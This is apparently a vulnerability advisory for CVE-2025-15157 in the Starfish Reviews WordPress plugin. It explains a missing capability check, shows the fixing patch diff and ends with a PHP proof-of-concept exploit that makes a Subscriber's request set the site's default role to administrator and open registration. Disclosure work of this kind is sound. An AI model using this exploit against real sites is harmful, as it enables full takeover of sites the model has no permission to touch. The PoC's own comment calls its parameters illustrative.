Atomic Edge analysis of CVE-2025-15157:
The Starfish Review Generation & Marketing WordPress plugin, versions up to and including 3.1.19, contains an arbitrary options update vulnerability. The flaw resides in the plugin’s AJAX callback handler, allowing authenticated users with Subscriber-level permissions or higher to modify any WordPress option. This leads to a high-severity privilege escalation risk.
The root cause is a missing capability check in the `srm_restore_options_defaults` function within the file `starfish-reviews/init/actions/ajax/starfish-ajax-callbacks.action.php`. The original vulnerable function directly accessed the `$_POST[‘options’]` array without verifying the user’s permissions. The function also lacked nonce verification and input validation, making it accessible to any authenticated user via the WordPress AJAX API.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker sends a POST request to the standard WordPress AJAX endpoint `/wp-admin/admin-ajax.php` with the `action` parameter set to `srm_restore_options_defaults`. The request must include an `options` parameter containing an array of WordPress options to update. A typical attack payload sets the `default_role` option to `administrator` and the `users_can_register` option to `1`, enabling open registration with administrative privileges.
The patch, implemented in version 3.1.20, adds three security controls to the `srm_restore_options_defaults` function. First, it introduces a capability check requiring the `manage_options` privilege, restricting access to administrators. Second, it adds a nonce check using `check_ajax_referer` to prevent CSRF attacks. Third, it validates that the `options` parameter exists and is an array before processing. The patch also sanitizes the input with `wp_unslash`. These changes ensure the function executes only for authorized users performing intended actions.
Successful exploitation allows an attacker to gain full administrative control of the WordPress site. By modifying the `default_role` and `users_can_register` options, an attacker can enable open user registration with the Administrator role. This leads to complete site compromise, enabling data theft, plugin and theme modification, and further server-side attacks.
--- a/starfish-reviews/init/actions/ajax/starfish-ajax-callbacks.action.php
+++ b/starfish-reviews/init/actions/ajax/starfish-ajax-callbacks.action.php
@@ -44,7 +44,24 @@
* @see /js/starfish-admin-funnel.js
**/
function srm_restore_options_defaults() {
- $options = $_POST['options'];
+ // ✅ 1. Capability check (prevents Subscriber abuse)
+ if ( ! current_user_can( 'manage_options' ) ) {
+ wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );
+ }
+
+ // ✅ 2. Verify nonce (prevents CSRF)
+ if ( empty( $_POST['security'] ) ) {
+ wp_send_json_error( array( 'message' => 'Missing nonce' ), 400 );
+ }
+
+ check_ajax_referer( 'srm_settings', 'security' );
+
+ // ✅ 3. Validate input
+ if ( empty( $_POST['options'] ) || ! is_array( $_POST['options'] ) ) {
+ wp_send_json_error( array( 'message' => 'Invalid data' ), 400 );
+ }
+
+ $options = wp_unslash( $_POST['options'] );
if ( isset( $_POST['funnel_id'] ) ) {
foreach ( $options as $option => $args ) {
update_post_meta( $_POST['funnel_id'], $args['funnel_cf_id'], $args['current'] );
--- a/starfish-reviews/starfish-reviews.php
+++ b/starfish-reviews/starfish-reviews.php
@@ -4,7 +4,7 @@
* Plugin URI: https://starfish.reviews
* Description: The #1 review generation and review marketing plugin for WordPress! Encourage your tribe to provide 5-star reviews on Google, Facebook, and many more.
* Author: Starfish Reviews
- * Version: 3.1.19
+ * Version: 3.1.20
* Author URI: https://starfish.reviews
* Copyright: 2022 Starfish Reviews, LLC
* License: GPL2
@@ -29,7 +29,7 @@
</div>';
} else {
// Core Constants.
- define('SRM_VERSION', '3.1.19');
+ define('SRM_VERSION', '3.1.20');
define('SRM_PLUGIN_URL', untrailingslashit(plugins_url(basename(plugin_dir_path(__FILE__)), basename(__FILE__))));
define('SRM_MAIN_FILE', __FILE__);
define('SRM_PLUGIN_PATH', plugin_dir_path(__FILE__));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-15157 - Starfish Review Generation & Marketing for WordPress <= 3.1.19 - Authenticated (Subscriber+) Arbitrary Options Update via srm_restore_options_defaults
<?php
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Step 1: Authenticate and obtain session cookies
$login_url = str_replace('/wp-admin/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
// Step 2: Craft exploit payload to set default role to administrator and enable user registration
$payload = [
'action' => 'srm_restore_options_defaults',
'options' => [
'default_role' => [
'funnel_cf_id' => 'default_role', // This parameter name is illustrative; the exploit uses the array structure from the plugin.
'current' => 'administrator'
],
'users_can_register' => [
'funnel_cf_id' => 'users_can_register',
'current' => '1'
]
]
];
// Step 3: Send the malicious AJAX request
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => $payload,
CURLOPT_POST => true,
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Verify success
if (strpos($response, 'success') !== false) {
echo "[+] Exploit successful. Site registration likely enabled with admin default role.n";
} else {
echo "[-] Exploit may have failed. Response: $responsen";
}
?>
